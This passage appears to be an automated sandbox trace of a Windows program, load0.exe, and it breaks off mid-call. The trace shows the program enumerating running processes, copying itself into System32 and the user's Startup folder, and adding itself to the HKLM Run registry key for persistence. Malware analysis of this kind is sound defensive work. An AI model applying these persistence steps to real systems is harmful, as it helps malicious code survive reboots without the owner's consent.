lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.487] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.487] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.487] lstrlenW (lpString="svchost.exe") returned 11 [0285.487] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.488] lstrlenW (lpString="svchost.exe") returned 11 [0285.488] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.489] lstrlenW (lpString="dwm.exe") returned 7 [0285.489] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.489] lstrlenW (lpString="svchost.exe") returned 11 [0285.489] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.490] lstrlenW (lpString="svchost.exe") returned 11 [0285.490] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.491] lstrlenW (lpString="svchost.exe") returned 11 [0285.491] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.492] lstrlenW (lpString="svchost.exe") returned 11 [0285.492] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.492] lstrlenW (lpString="svchost.exe") returned 11 [0285.492] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.493] lstrlenW (lpString="svchost.exe") returned 11 [0285.493] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.493] lstrlenW (lpString="svchost.exe") returned 11 [0285.493] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.494] lstrlenW (lpString="svchost.exe") returned 11 [0285.494] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.494] lstrlenW (lpString="svchost.exe") returned 11 [0285.495] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.495] lstrlenW (lpString="svchost.exe") returned 11 [0285.495] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.496] lstrlenW (lpString="spoolsv.exe") returned 11 [0285.496] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.496] lstrlenW (lpString="svchost.exe") returned 11 [0285.496] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.497] lstrlenW (lpString="audiodg.exe") returned 11 [0285.497] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0285.497] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0285.498] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0285.498] lstrlenW (lpString="Memory Compression") returned 18 [0285.498] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.499] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0285.499] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.499] lstrlenW (lpString="sihost.exe") returned 10 [0285.499] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.500] lstrlenW (lpString="svchost.exe") returned 11 [0285.500] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.500] lstrlenW (lpString="taskhostw.exe") returned 13 [0285.501] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0285.501] lstrlenW (lpString="msoia.exe") returned 9 [0285.501] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.502] lstrlenW (lpString="explorer.exe") returned 12 [0285.502] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.502] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0285.502] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.503] lstrlenW (lpString="SearchUI.exe") returned 12 [0285.503] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.503] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0285.504] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0285.504] lstrlenW (lpString="load0.exe") returned 9 [0285.504] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0285.505] lstrlenW (lpString="load0.exe") returned 9 [0285.505] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.505] lstrlenW (lpString="svchost.exe") returned 11 [0285.505] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0285.506] CloseHandle (hObject=0xf8c) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x742380 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7429b0 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746b98 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746bb8 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x747b18 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x78be68 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746b58 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746bf8 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76ff30 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7701d8 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746b78 | out: hHeap=0x730000) returned 1 [0285.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76fff8 | out: hHeap=0x730000) returned 1 [0285.506] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7ad468 [0285.507] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7bd470 [0285.507] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd48 [0285.507] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x770160 [0285.507] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x770160, Size=0x40) returned 0x742728 [0285.507] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bdd8 [0285.507] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bdd8, Size=0x20) returned 0x76fe68 [0285.507] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd48 [0285.507] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x770048 [0285.507] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd48 [0285.507] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x76feb8 [0285.507] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76feb8, Size=0x40) returned 0x742698 [0285.507] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7bd470, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe")) returned 0x46 [0285.507] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7cd478 [0285.508] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7dd480 [0285.508] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd48 [0285.508] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x7700e8 [0285.508] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7700e8, Size=0x40) returned 0x742770 [0285.508] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742770, Size=0x80) returned 0x736868 [0285.508] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x736868, Size=0x100) returned 0x73e4c8 [0285.508] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0285.508] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.508] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\load0.exe", lpDst=0x7cd478, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\load0.exe") returned 0x1e [0285.509] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7dd480 | out: hHeap=0x730000) returned 1 [0285.509] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cd478 | out: hHeap=0x730000) returned 1 [0285.510] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x214b020 [0285.513] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.513] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78be68, Size=0x20) returned 0x7700c0 [0285.513] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.513] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78be68, Size=0x20) returned 0x770110 [0285.513] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.513] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.513] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0285.513] lstrlenW (lpString="kernel32.dll") returned 12 [0285.513] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7700c0 | out: hHeap=0x730000) returned 1 [0285.513] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.513] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x770110 | out: hHeap=0x730000) returned 1 [0285.513] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf8c [0285.513] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\load0.exe" (normalized: "c:\\windows\\system32\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0285.515] ReadFile (in: hFile=0xf8c, lpBuffer=0x214b020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x214b020*, lpNumberOfBytesRead=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0285.533] WriteFile (in: hFile=0xf90, lpBuffer=0x214b020*, nNumberOfBytesToWrite=0x3e600, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x214b020*, lpNumberOfBytesWritten=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0285.538] ReadFile (in: hFile=0xf8c, lpBuffer=0x214b020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x214b020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0285.538] CloseHandle (hObject=0xf90) returned 1 [0285.543] CloseHandle (hObject=0xf8c) returned 1 [0285.543] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd48 [0285.543] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x7701b0 [0285.543] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd48 [0285.543] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x76ff30 [0285.543] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.543] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.543] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0285.543] lstrlenW (lpString="kernel32.dll") returned 12 [0285.544] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76ff30 | out: hHeap=0x730000) returned 1 [0285.544] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.544] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7701b0 | out: hHeap=0x730000) returned 1 [0285.544] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x214b020 | out: hHeap=0x730000) returned 1 [0285.550] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd48 [0285.550] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x76fe40 [0285.550] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76fe40, Size=0x40) returned 0x742770 [0285.550] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742770, Size=0x80) returned 0x7ce050 [0285.550] lstrlenW (lpString="C:\\WINDOWS\\System32\\load0.exe") returned 29 [0285.550] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0285.550] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x5c) returned 0x7419e8 [0285.550] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0xf8c) returned 0x0 [0285.551] RegSetValueExW (in: hKey=0xf8c, lpValueName="load0.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\load0.exe", cbData=0x3a | out: lpData="C:\\WINDOWS\\System32\\load0.exe") returned 0x0 [0285.551] RegCloseKey (hKey=0xf8c) returned 0x0 [0285.551] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7419e8 | out: hHeap=0x730000) returned 1 [0285.551] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0285.551] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce050 | out: hHeap=0x730000) returned 1 [0285.551] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7ce480 [0285.551] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7de488 [0285.551] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.551] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78be68, Size=0x20) returned 0x76feb8 [0285.551] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76feb8, Size=0x40) returned 0x7427b8 [0285.551] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7427b8, Size=0x80) returned 0x7cd968 [0285.551] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7cd968, Size=0x100) returned 0x73e4c8 [0285.551] lstrlenW (lpString="") returned 0 [0285.551] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0285.551] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8c) returned 0x779088 [0285.551] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf8c) returned 0x0 [0285.551] RegQueryValueExW (in: hKey=0xf8c, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7de488, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x7de488*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0285.551] RegCloseKey (hKey=0xf8c) returned 0x0 [0285.551] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x779088 | out: hHeap=0x730000) returned 1 [0285.551] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0285.551] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8c) returned 0x779088 [0285.551] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf90) returned 0x0 [0285.553] RegQueryValueExW (in: hKey=0xf90, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7de488, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0285.553] RegCloseKey (hKey=0xf90) returned 0x0 [0285.553] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x779088 | out: hHeap=0x730000) returned 1 [0285.553] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0285.553] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0285.553] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.553] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpDst=0x7ce480, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe") returned 0x58 [0285.553] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7de488 | out: hHeap=0x730000) returned 1 [0285.553] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce480 | out: hHeap=0x730000) returned 1 [0285.554] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x214f020 [0285.557] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.557] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x76ffa8 [0285.557] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.557] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78be68, Size=0x20) returned 0x76fe90 [0285.557] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.558] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.558] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0285.558] lstrlenW (lpString="kernel32.dll") returned 12 [0285.558] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76ffa8 | out: hHeap=0x730000) returned 1 [0285.558] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.558] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76fe90 | out: hHeap=0x730000) returned 1 [0285.558] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0285.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: 